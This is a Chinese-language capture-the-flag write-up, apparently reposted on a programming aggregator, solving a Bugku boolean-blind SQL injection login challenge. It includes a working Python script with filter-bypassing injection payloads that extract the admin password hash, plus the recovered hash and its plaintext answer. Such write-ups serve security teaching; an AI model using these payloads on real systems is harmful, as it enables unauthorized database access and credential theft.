概述
bugku–SQL注入(利用脚本)
题目地址:SQL注入
解题思路:
- 照常用admin登录,随便一个密码,显示 password error
然后修改用户名,显示username does not exist! 再加上题目提示基于布尔的SQL盲注,猜测后端是判断username是否存在,这里可能就会有注入点。
可以推测用户名就是admin
- 尝试万能密码,输入username为 admin’ or 1=1 #
出现illegal character,说明 or 被过滤,所以万能密码也不可行
-
直接上脚本,如下所示
参考:SQL注入WP
# 布尔盲注不仅仅是在密码正确和密码错误两种情况下,比如你输入账户,可能出现“账户不存在”和“存在”两种情况,这也是布尔。 import requests import string, hashlib url = 'http://114.67.175.224:12315/index.php' sss = string.digits + (string.ascii_lowercase) a = '' for i in range(1, 50): flag = 0 for j in sss: payload = "admin'^((ascii(mid((select(password)from(admin))from(%s))))<>%s)^1#" % (i, ord(j)) # 屏蔽了",",改用mid()函数,from表示起始位置 # ascii()当传入一个字符串时取出第一个字母的ascii(),相当于mid()的第二参数,for取出,也相当于limit # <>表示不等号 # ^表示异或 payload2 = "admin123'or((ascii(mid((select(password)from(admin))from(%s))))<>%s)#" % (i, ord(j)) # 由于没有屏蔽or,所以也可以用这个,可以形成一组布尔 payload3 = "admin123'or((ascii(mid((select(database()))from(%s))))<>%s)#" % (i, ord(j)) data = {'username': payload, 'password': 'admin'} res = requests.post(url, data=data).text if 'username does not exist!' in res: a += j flag = 1 print(a) break if flag == 0: break print(a)
得到MD5:4dcc88f8f1bc05e7c2ad1a60288481a2
经过解码后得到:bugkuctf
最后
以上就是拼搏小虾米为你收集整理的bugku--SQL注入((利用脚本))的全部内容,希望文章能够帮你解决bugku--SQL注入((利用脚本))所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复